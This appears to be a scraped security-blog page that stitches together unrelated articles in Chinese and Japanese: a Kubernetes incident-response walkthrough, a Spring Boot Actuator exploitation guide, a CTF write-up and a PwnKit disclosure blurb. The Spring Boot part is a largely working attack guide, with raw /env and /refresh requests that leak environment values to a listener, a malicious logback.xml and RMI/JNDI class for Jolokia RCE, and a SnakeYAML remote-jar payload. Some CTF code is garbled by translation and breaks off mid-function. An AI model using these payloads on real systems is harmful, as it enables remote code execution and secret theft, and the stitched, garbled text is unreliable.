緩解對AD CS 的中繼默認CertSrv 網站不使用TLS，這應該首先強制執行，然後才能啟用進一步的保護。使用有效證書啟用TLS 後，在IIS 中啟用身份驗證的擴展保護將防止中繼攻擊。這應該在提供此服務的所有單個CA 服務器上的AD CS 的所有基於Web 的註冊功能上啟用。

HireHackking

DFIR-Kubernetes-01.webp.jpg

Kubernetes是什麼，Kubernetes是一個全新的基於容器技術的分佈式架構解決方案，是Google 開源的一個容器集群管理系統，Kubernetes簡稱K8S。用於自動部署、擴展和管理容器化（containerized）應用程序。在本文中，我們將介紹為何Kubernetes 的DFIR 如此重要，以及如何評估你的容器DFIR 功能。我們還將看到一個完整的場景，深入挖掘影響Kubernetes pod 的事件，以及要採取的對應步驟。

什麼是DFIR數字取證和事件響應(DFIR) 是網絡安全領域，包括在事件發生時採用的技術，重點是識別、檢查和響應網絡攻擊。

事件響應計劃發生安全事件時，每家公司都應應用其事件響應計劃(IRP) 中概述的技術。這是一個記錄在案的過程，它建立了在發生違規時要採用的指導方針。儘管每個公司的IRP 可能不同，但可以概括為以下四個主要步驟：

識別：對攻擊及其相關風險的快速深入調查可以在整個過程中發揮關鍵作用。此步驟通常涉及與受影響環境相關的所有安全事件、日誌和報告。

協調：一旦檢測到可能的事件，響應團隊必須評估該事件是否代表真正的安全事件。因此，它還必須決定是否響應它。

解決方案：該過程的這一步用於調查事件本身的原因，限制其影響，並在必要時將其隔離。在此步驟中，團隊應解決安全風險並實施補救措施。最終，它可以從備份中恢復受影響的系統、數據和服務，甚至修復受影響的環境。

19.jpg

工具推薦工具可以在識別、調查和響應網絡攻擊方面發揮關鍵作用。

前面描述的所有階段都應該始終得到有效工具的支持，這些工具可以促進攻擊的調查和響應。通過執行它們，你可以深入了解你控制的所有內容。你可以將證據自動存儲在你的私人遠程存儲中。此外，你可以監控你當前擁有的資源，以檢測意外的工作負載峰值，在發生事件或可疑網絡流量時接收警報，並及時做出響應。

以下是本文將使用的工具或在DFIR Kubernetes 期間可能用得著的工具：

SIEM（例如ElasticSearch）：收集和存儲在你要監控的環境中生成的日誌和警報的應用程序，它在識別階段非常有用。

Falco：一種開源威脅檢測引擎，可根據一組規則在運行時觸發警報。 Falco 觸發的警報可以發送到SIEM 以收集運行時事件的證據。

Falcosidekick：一個開源工具，它接收Falco 的事件並以扇出方式將它們轉發到不同的輸出。

Prometheus：使用領先的開源監控解決方案為你的指標和警報提供支持。

Docker Explorer：一個能夠對快照捲進行離線取證分析的開源項目。

kube-forensics：一個開源項目，允許Kubernetes 集群管理員將任何受影響的pod 的工件存儲到AWS 存儲桶中。

Cloud Forensics Utils：一個開源項目，可以通過一組工具加快和簡化取證過程。

kubesploit：一個開源滲透測試框架，可以改善你掃描集群的網絡安全狀況。

因此，擁有工具並規劃正確的策略可以讓你跟踪和收集環境的證據，從而使管理和調查更容易。

Kubernetes 的分步取證程序現在，我們將模擬在Kubernetes 集群中發生網絡安全事件時如何評估DFIR。

20.jpg

在這個場景中，我們將看到如何檢測可能的事件、如何監控事件及其相關資源。最後，我們還將看到如何採取措施減少其影響。

識別過程我們用自己管理的Kubernetes集群，通過Kubernetes負載均衡器服務將我們的應用程序、網站和web服務器部署到網絡中。

如上述步驟所示，我們使用Falco 在運行時檢測事件。 Falco 是事實上的Kubernetes 威脅檢測引擎。它作為守護進程部署在我們集群的每個節點上，並配置了Falcosidekick，以便向本場景中採用的SIEM (Elasticsearch和Prometheus)發送警報。

為了使用Falco 監控整個集群，我們設置了自定義檢測規則，當遠程命令執行攻擊在我們的pod中發生時，這些規則就會觸發。

其中一條Falco 規則如下所示：

1.png

就在幾分鐘前，觸發了其中一個規則，生成了一些警報，現在我們可以在Falcosidekick UI中檢查所有事件信息。

2.webp.jpg

似乎我們的一個Tomcat pod允許一個奇怪的下載，這可能是值得研究的有趣的事情。

一旦發現可疑情況，就可能需要深入評估事件的風險。你所擁有的工具可以給你很多建議，比如可以檢測到正在運行的可疑命令、敏感文件系統路徑中的更改文件以及意外的網絡流量。此外，高CPU 使用率和內存使用率可能表明存在惡意執行，並且可以使用Prometheus 等工具快速監控。

在這種特定情況下，已檢測到它具有很高的資源消耗（特別是受影響的Pod 使用了超過2 GB 的內存）！

協調以減少風險暴露時間——Kubernetes 網絡政策首先，我們需要減少影響。讓我們開始通過Kubernetes 網絡策略隔離受影響的Pod。這樣，你將有機會控制入站和出站流量。

首先，刪除將受影響的Pod 與部署綁定的當前標籤。通過這樣做，我們會自動刪除傳入的流量。接下來，我們必須標記受影響的Pod：

3.png

這個新標籤將我們即將創建的網絡策略的範圍限制為僅標記的Pod，而不是整個名稱空間。

然後，根據文檔，明確拒絕策略的能力無法通過網絡策略完成。為了實現我們的目標，隔離Pod，我們修改了最嚴格的策略（deny-all）並將podSelector 修改為僅適用於受影響的pod。如果有其他NetPol 影響所有pod，則行為可能與預期不同。

4.png

這將阻止任何進出受影響pod 的入站或出站連接。

5.png

這是另一個示例，表明我們無法從帶有藍色標籤的Pod 中獲取信息，並且綠色標籤的pod 不受影響。

6.png

對工作節點進行標籤和封鎖為了隔離攻擊並使調查更容易，我們可以標記部署pod 的工作節點。這樣就可以簡化該節點的區分。

另一個最佳實踐是“封鎖”工作節點。它確保Kubernetes 調度程序將該節點視為不可調度，並阻止在其上部署新的Pod。因此，如果資源允許，新的Pod 將被調度到其他地方，而受影響節點上已經運行的Pod 將被保留。這不會改變受影響的Pod，也不會改變要在其中進行的調查過程。

這對於隔離節點並調查由於容器逃逸而導致的危害非常有用。順便說一句，在本文中，我們僅僅假設攻擊將仍然局限於受影響的pod。

7.webp.jpg

我們已經執行了一些必要的步驟來隔離受影響Pod 中的惡意執行。使用Kubernetes 網絡策略，我們已經確定不允許來自受影響的pod 的傳入或傳出連接。此外，我們標記了涉及的Pod，並阻止在Pod 運行的節點中進行新的部署。有時，你還可以刪除或撤銷受影響的工作節點/Pod 權限或安全憑證，以避免攻擊傳播到其他雲資源。

但是，我們仍然需要了解攻擊是如何發生的，我們承擔的風險是什麼，以及它可能產生的影響。

DFIR Kubernetes方法——快速方法它可以被認為是最快的方法。將正在運行的容器隔離並仍在Kubernetes 集群中運行，你可以直接從其工作節點檢查它。

現在，讓我們跳轉到該節點並開始搜索受影響的容器ID。

8.png

8.2.png

現在我們知道了哪個是容器ID，這樣就可以開始深入挖掘它的細節。

9.1.png

9.2.png

似乎在Elasticsearch 收到日誌前幾秒鐘，在Tomcat 上部署了一個新的war 文件。這可能是攻擊的初始訪問，但讓我們繼續檢查容器文件系統自創建以來的更改。

10.png

10.2.webp.jpg

更改：C 行是更改後的目錄。

追加：A 行是新添加的文件。

如前所述，似乎在Tomcat 管理器中添加的文件很少。而且，文件系統中還寫入了其他文件，例如zzz（已經在上面的Elasticsearch 日誌中顯示）。

為了查看機器中還有什麼在運行，我們還可以啟動docker top和stats命令。

11.1.png

11.2.png

11.3.png

11.4.png

高CPU 使用率，確認之前檢測到的內容。

我們還可以將容器的更改提交到新映像（通過docker commit）或將受影響的文件系統導出為tar 文件（通過docker export），以便存儲發生更改的工件。如果你想了解有關此技術的更多信息，請查看對惡意Docker 容器進行分類。

DFIR Kubernetes——離線方法Docker-explorer是一個開源項目，能夠對快照捲進行離線取證分析。

一旦我們確定了受影響的Pod 所在的Kubernetes 工作節點，最好的做法是對其文件系統進行快照。這可以通過雲提供商控制台或通過採用其他一些開源項目來完成，例如cloud-forensics-utils。有了快照卷，就可以進行事後分析，將其附加並安裝到將使用docker-explorer 的新虛擬機上。

Docker-explorer 可以列出所有docker 容器或僅列出已安裝卷中正在運行的容器。

12.png

一旦我們獲得了我們想要調查的容器ID，就可以提取日誌，就像我們之前使用docker logs

13.png

但最重要的功能是使用docker-explorer 將容器文件系統掛載到VM 中。

14.png

14.2.png

這將使我們能夠訪問受影響的容器文件系統。因此，從現在開始，我們將能夠調查之前監控的進程和文件（zzz、kdevtmpfsi、kinsing）。

15.png

例如，我們可以讀取zzz bash 腳本，或者我們可以提取ELF 文件的哈希值，以便通過VirusTotal 對其進行掃描。

16.png

正如預期的那樣，由於使用了大量的CPU，kdevtmpfsi 進程是一個挖礦程序。

Kube-forensics

kube-forensics 是一個開源項目，允許集群管理員將任何受影響的pod 的工件存儲到S3 存儲桶中。它要求kube-forensics 創建的工作pod 具有將對象寫入AWS 存儲桶的必要權限。

這樣我們就可以將受影響的Pod 證據存儲到應用此PodCheckpoint 的S3 存儲中：

17.png

幾分鐘後，PodCheckpoint 將完成其執行，證據也會出現在目標S3 存儲桶中。

118.webp.jpg

因此，除了保存pod 描述之外，kube-forensics 還以與我們之前在實時主機部分中所做的類似方式存儲與docker inspect 和docker diff 命令相關的結果。

對於“.export.tar”文件，它是可以通過docker export 命令獲得的文件，它可以將容器文件系統存儲在可以檢查發布的“.tar”文件中。

Kubernetes事件的解決和總結通過分析和調查違規行為，你可以識別你在集群中部署的易受攻擊的資產。

在此示例中，攻擊入口點由暴露在網絡中的易受攻擊的Tomcat Pod 表示。取證分析得出的結論是Tomcat 管理器不安全，因為它配置錯誤並且沒有影響其他Pod 或命名空間。

不過，有時受感染的Pod 可能會由於眾所周知或未知的漏洞而被利用。

作為事件響應階段的一部分，你應該從受感染的Pod 中學習，用更新和安全的Pod 替換它們。但是，如果無法保護你的工作負載，可能是因為它們還沒有可用的補丁，你應該採用其他解決方案。

例如，第一個是在發布新補丁之前刪除和刪除你的部署，只要你有足夠的關於發生的事情的信息。這是防止發生任何違規的最嚴格的方法，但它也會在可用性方面影響你的業務。

在其他一些情況下，你可能希望使用Falco 和Falcosidekick 來設置你的Kubernetes 響應引擎。當通過Falco 觸發特定事件時，它允許你在Kubernetes 集群中做出響應。例如，在前面的場景中，如果將具有通用文件名的新.war 文件部署到Tomcat 管理器中或檢測到RCE，我們可以採用終止pod 的規則。

HireHackking

一、SpringBoot env 获取* 敏感信息 

当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了*

  1. 通过${name} 可以获取明文字段
    2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) xyzv2ke1uj014466.png15xmzdgh1hb14479.jpg

参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

具体实现过程:

例如: 我们要获取 pid 参数值

"PID": "10648",

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

然后 post refresh 任意内容,触发漏洞

Ps: 一般情况需要等待3秒会有响应包，如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

当服务器 nc 监听端口2444 时,接收到

root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

base64 解码得到

root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

和上面的 pid 信息一样

同样 获取 user.country参数,步骤也一样

结果:

root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

base64 解码得到

root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
脚本化：

输入要查询的参数,输入 nc 监听的端口 bi01fdtzap114516.png

s1key5x0gnj14519.jpg

监听端口,获取指定 header 头,自动 base64 解密 ck5bdtoltej14544.png

pw3fuoz11eq14547.jpgnb2qarcfdv014551.jpg

Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7（通常包含在Spring Cloud Netflix中），则可以利用其中的XStream反序列化漏洞。

例如: User-Agent: Java-EurekaClient/v1.4.11

二、SpringBoot_Actuator JNDI RCE

1. 环境搭建

git clone https://github.com/veracode-research/actuator-testbed

启动

mvn install
或
mvn spring-boot:run

通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了

查找关键文件

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

改为

server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

2.重启启动

mvn spring-boot:run

或

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

稍等片刻

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/ fqlshw3tbsq14568.png

hfoy2tcw3rw14570.png

http://10.20.24.191:8090/jolokia/list 5febavymbsi14599.png

sw1ezok2ou414600.png

中 reloadByURL 可以加载远程 url xml 文件

"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

3.http 服务存放logback.xml,ExportObject.class

logback.xml 文件内容

cri2sb2yvhl14633.png

s2x3sufm3ms14637.png
<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

4.RCE触发

监听 rmi 端口

root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection

浏览器访问加载远程logback.xml文件进行解析,

服务器访问恶意jndi 地址,导致恶意字节码代码执行

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

1pfbly5vaat14678.png

hgw0crbsf2f14681.png

5. 命令执行成功

root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

三、YML RCE 漏洞

通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠

该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点，任需要POST /refresh 任意内容触发漏洞。yaml_payload.yml 文件内容：

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

1.yaml_payload.jar 制造

代码 https://github.com/artsploit/yaml-payload

33oe5iu2syz14682.jpg

AwesomeScriptEngineFactory.java 部分代码

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

包含实际的字节码，并在构造函数中带有恶意有效载荷。

ymal_payload.jar\services\javax.script.ScriptEngineFactory

只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件， 以便ServiceLoader知道在哪里可以找到该类

内容：artsploit.AwesomeScriptEngineFactory

jar 文件存在到http服务器中

http://10.20.24.191:8090/ymal_payload.jar

2.Set spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

rsutwkki0kn14686.png
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

3.refresh post任意内容，RCE 漏洞触发

5wlwduaern014688.png
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

4.RCE 执行成功

hq4xjvw5lae14690.jpg
root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html# 
Ps: 与Eureka的XStream有效负载相比，yaml的方法甚至可以在最新版本中使用。
参考链接
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
原文链接： https://github.com/jas502n/SpringBoot_Actuator_RCE


HireHackking

0x00はじめに

この記事は、「2024年のカレッジネットワークセキュリティ管理操作およびメンテナンス競争」の詳細なソリューションです。これは、主にWeb、PWN、RE、その他、アルゴリズムなどの多方向質問の問題解決プロセスをターゲットにしています。

0x01 Misc

サインイン

GIFを与え、オンラインで直接フレーム化します

y2nvtbjrloa1033.png

synt {fvtava-dhvm-jryy-qbar}を取得し、Caesarを見て、rot13で直接デコードします

4tt1gsjwzrp1034.png

flag {signin-quiz-well-done}

Phing Emailの認識

電子メールソフトウェアを使用して表示するか、直接表示できるEML電子メールファイルを提供しました（面倒かもしれません）

11ets415aql1035.png

フラグ1

0eufmayx2tc1036.png

直接base64フラグを取得するためのデコード{welcometo}

gr0klifywn21037.png

フラグ2

次のコンテンツは、base64によってエンコードされた情報です

xiofn4czvg31038.png

3tjnm3beara1039.png

デコード後、それをチェックしてフラグを取得します{phishhunting}

44m2eu0kih41040.png

フラグ3

EMMLファイルの残りのコンテンツにはフラグがないため、送信者のドメイン名からのみ開始できます。

cretkgyh0pp1041.png

DNS分析を確認してください、ここに360脅威インテリジェンスセンターがあります

https://ti.360.net/domain/foobar-edu-cn.com

c4tg0xf1g1t1042.png

（このインテリジェンスセンターは、競争プロセスの分析履歴を記録するため、サブドメイン情報を見るだけでフラグを取得できます）

sbxs1sq3exn1043.png

クエリプロセスはまだ正常です

サードパーティのサービスプラットフォームに加えて、ドメイン名のTXTレコードを表示するためにWindowsに付属するNSLookupを使用することもできます。

nslookup -qt=txt foobar-edu-cn.com

lxsbr25jiiw1044.png

プロンプトによると、ドメイン名の下にサブドメイン名の分析レコードを見つけ、3つの方法で完全なフラグをスプライスする必要があります

ドメイン名は海外で適用されるため、多くの国内のウェブサイトを解析できないため、外国のウェブサイトを使用してゆっくりと試すことができます

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/detailsspf

psi0ggt43af1045.png

https://dnsspy.io/scan/foobar-edu-cn.comdefault._domainkey

4dzy21ta4xj1046.png

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com_dmarc

gzvchzmjxhz1047.png

3つの部分を個別に取得し、フラグを取得するためにそれらをスプライシングします

flag_part1={n0wy0u

flag_part2=_kn0wh0wt0_

flag_part3=analys1sdns}

flag {n0wy0u_kn0wh0wt0_analys1sdns}

実際、これらの3つのサブドメインは、それぞれ対応するサービスを提供するSPF、DKIM、DMARCなど、電子メールサーバーに対応するいくつかのプロトコルです。

https://help.aliyun.com/document_detail/2685946.html

opd3wu51dne1048.png

easyshell

PCAPトラフィックパッケージを提供すると、horseが送信された後に実行する必要があるshell.phpのリクエストを郵送に直接確認できます。

qmc1gi53gdj1049.png

HTTPストリームをフィルタリングし、上記の推測を確認してください

aa4hgur2ioj1050.png

HTTPストリームを追跡すると、投稿のコンテンツが暗号化されます。 Ice Scorpion 4.0の質問と交通特性を組み合わせて、これはIce Scorpion Horseであると推測されます。

アイスサソリフロー特性：

Accept: Application/JSON、Text/JavaScript、 */*; Q=0.01Content-Type: Application/x-www-form-urlencodedConnection: Keep-Alive…ec4rxbj3zhb1051.png

Ice Scorpion 4.0はAES暗号化を使用し、デフォルトキーはE45E329FEB5D925Bです。つまり、MD5の最初の16ビット（ 'Rebeyond'）です。

Ice Scorpion 3.0、デフォルトのパスワードは次のとおりです。E45E329FEB5D925B、あなたはそれをチェックすることができます：backing_decrypt/decropt.Php

最後の応答パッケージからデコードしてみてください

ここでは、CyberのAES-CBCモードIVが空になることはできないが、オフセットする必要はないので、0に入力する必要があることに注意する必要があります。

4sevmt3zewb1052.png

5letdfyj3ef1053.png

コンテンツのあるものを見つけます

odbwrq5tn3u1054.png

giskvw4zp4m1055.png

toqbwrxjwub1056.png

リクエストパッケージがリクエストしているものをご覧ください。ここで、デコードされた結果を置くと、Secret2.txtファイルを読んでいることがわかります

jgggcbpqdqt1057.png

Secret2.txt

こんにちは、しかしあなたが探しているものは私ではありません。

次に、以前の応答パッケージでキーコンテンツを見つけます

ub5qw2azl321058.png

bwq02juf3dq1059.png

ZIP圧縮パッケージで、直接保存します

5y5aokfl4pr1060.png

zipを確認してください。Secret1.txtとSecret2.txtがあり、パスワードが必要です。

11jpq51yxgt1061.png

既知のsecret2.txtのコンテンツを組み合わせて、既知のプレーンテキストを介して攻撃することができます

最初にsecret2.txtを書き、それをzipとして保存して、元の暗号化アルゴリズムと同じであることを確認してください

l0v1ijra2px1062.png

プレーンテキスト攻撃を開始します。ここに小さなトリックがあります。取得するパスワードが表示されたら停止します。 [ポップアップ]ウィンドウをクリックして、解凍します。

oqvi43yhokq1063.png

Get Flag {70854278-EA0C-462E-BC18-468C7A04A505}

jiykxq0wmbl1064.png

secretdb

タイトルはSQLite DBファイルを提供し、遅すぎるだけで、あなたのためのフラグは開かれていません。

1jmy5om2qhx1065.png

削除された情報を復元する必要があります。直接復元されるツールはありません。復元できないか、文字化けしています。手動で抽出してみてください。

参照：https://www.cnblogs.com/jiangcsu/p/6569045.html

焦点は、ユニット内の構造にあります

fkspmx0belk1066.png

010editorはsecret.dbを開き、それをフラグに見つけて表示します。赤いボックスの下の部分は、以前に削除されたデータです。

jprvvqa1tyl1067.png

上記のデータベースフラグテーブルの構造から、列がID、ソート、メッセージであることがわかります。ソートは、ソートに使用されるインデックスです。メッセージは表示されている文字を保存するため、上記の図の可視文字、つまりメッセージ、および以前の数字がソートであることを単純に観察できます。たとえば、可視文字9の16進数は39であり、以前の数字は0Eであるため、インデックス0Eの値は9です。

sab01qcmfnv1068.png

したがって、残りの値を抽出します

0x17-

0x0 f

0xe 9

0x1b 7

0x10 3

0xa b

0x19 2

0x14 b

0xf 2

0x12-

0x23 4

0x16 6

0x1f a

0x25 8

0x2a

0x1e

0x5 f

0x3 g

0x11 c

0xc 0

0x4 {

0x22a

0x21 b

0x7 2

0x1d f

0x26 f

0x1c-

0x9 1

0x27 0

0xd-

0xb

0x8 9

0x1 l

0x13 4

0x29}

0x15 a

0x28 b

0x6 6

0x1a d

0x24 e

0x20 b

スクリプトを書き、それをソートし、フラグを出力します

f:としてopen（ '1.txt'、 'r'）

data=f.readlines（）

out=['' for iの範囲（43）]

data:のiの場合

index、val=i.replace（ '\ n'、 ''）.split（ ''）

index=int（index、16）

out [index]=val

flag=''

インデックス=0

out:のiの場合

print（hex（index）、i）

インデックス +=1

フラグ +=i

印刷（フラグ）

＃flag {f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

1つが欠けていて、それを爆破して旗を取得します{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

ゲートウェイ

ゲートウェイソースコードを与え、index.htmlには製品名HS8145Vがあります

ydfgyvxszkv1069.png

クエリパスワード、cgi-bin/baseinfoset.jsonに一連のパスワードがあります

1jwtitpqyul1070.png

10611210110712710110449575653565456495151105561031064956505610310256521011041041021055310153102129

CGI-BIN/BASEINFOSET.JSONを検索します

https://github.com/iheshime/chinatelecom-esurfing-gateway-hg260-admin-password-algorithm

ゲートウェイ管理者の一般的な暗号化アルゴリズムであり、スクリプトがわずかに変更されたことがわかりました。

exp.py：

def passwd_decode（code） - str:

passwd_list=map（int、code.split（ ''））

結果=[]

passwd_list:のiの場合

97=i=100または65=i=68:の場合

I +=22

Elif I 57:

i - =4

result.append（chr（i））

#print（i、chr（i））

return（ '' .join（result））

passwd=passwd_decode（ '10611210110712710110449575653565456495151105561031064956505610310256521011041021055310153102129'）

印刷（passwd）

＃flag {AD1985868133E8CF1828CB84ADBE5A5B}またはcode='106112101107127101104957565356545649515110556103103106495650561031025652101101021055310153102129' [:-1] 'baseinfoset_telecompassword':'1147355110693753113'list=map（int、code.split（' '））result=[] for for i in list: i- 57: i-=4 result.append（ch）プリント（ '' .join（result））＃flag {ad1985868133e8cf1828cb84adbe5a5b}

zip

#include arpa/inet.h

#include sys/wait.h

#include stdbool.h

#include stdlib.h

#include string.h

#include unistd.h

#include stdio.h

#include pty.h

Char Token [1024]、buf [1024];

void load（）{

file *f=fopen（ 'token.txt'、 'r'）;

fgets（token、sizeof（token）、f）;

トークン[64]=0; //たぶん64バイトで十分です

fclose（f）;

}

int cmmpstr（char const *a、char const *b）{

MEMCMPを返します（a、b、strlen（a））;

}

void zip（char *password）{

intマスター、pid;

pid=forkpty（master、null、null、null）;

if（pid==0）{

char* argv []={'7z'、 'a'、 'flag.zip'、 'tmp/flag.txt'、 '-mem=aes256'、 '-p'、null};

execve（ '/usr/bin/7z'、argv、null）;

} それ以外{

CHARバッファー[4097];

while（true）{

ssize_t n=read（master、buffer、4096）;

if（n 0）break;

ffflush（stdout）;

書き込み（1、バッファ、n）;

バッファー[n]=0;

HireHackking

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞，pkexec是一個SUID-root程序，默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有相關權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。

關於Polkit pkexec for LinuxPolkit(以前是PolicyKit)是一個用於控制類unix操作系統中的系統權限的組件。它為非權限進程提供了一種有組織的方式來與權限進程進行通信。還可以使用polkit來執行具有更高權限的命令，使用命令pkexec，後面跟著要執行的命令(具有根權限)。

PwnKit漏洞的潛在影響如果有人成功利用該漏洞，任何非權限用戶都可以獲得該漏洞主機上的root權限。 Qualys的安全研究人員已經能夠獨立驗證該漏洞，並利用該漏洞，進而獲得Ubuntu、Debian、Fedora和CentOS默認安裝的全部root權限。其他Linux 發行版可能容易受到攻擊並且可能被利用。這個漏洞已經隱藏了12 年多，並影響自2009 年5 月第一個版本以來的所有pkexec 版本(commit c8c3d83, “Add a pkexec(1) command”)。

在我們的研究團隊確認該漏洞後，Qualys負責漏洞的披露，並與供應商和開源發行方協調，公佈了該漏洞。

潛在漏洞利用路徑的視頻可以點此查看。 （https://player.vimeo.com/video/669715589）

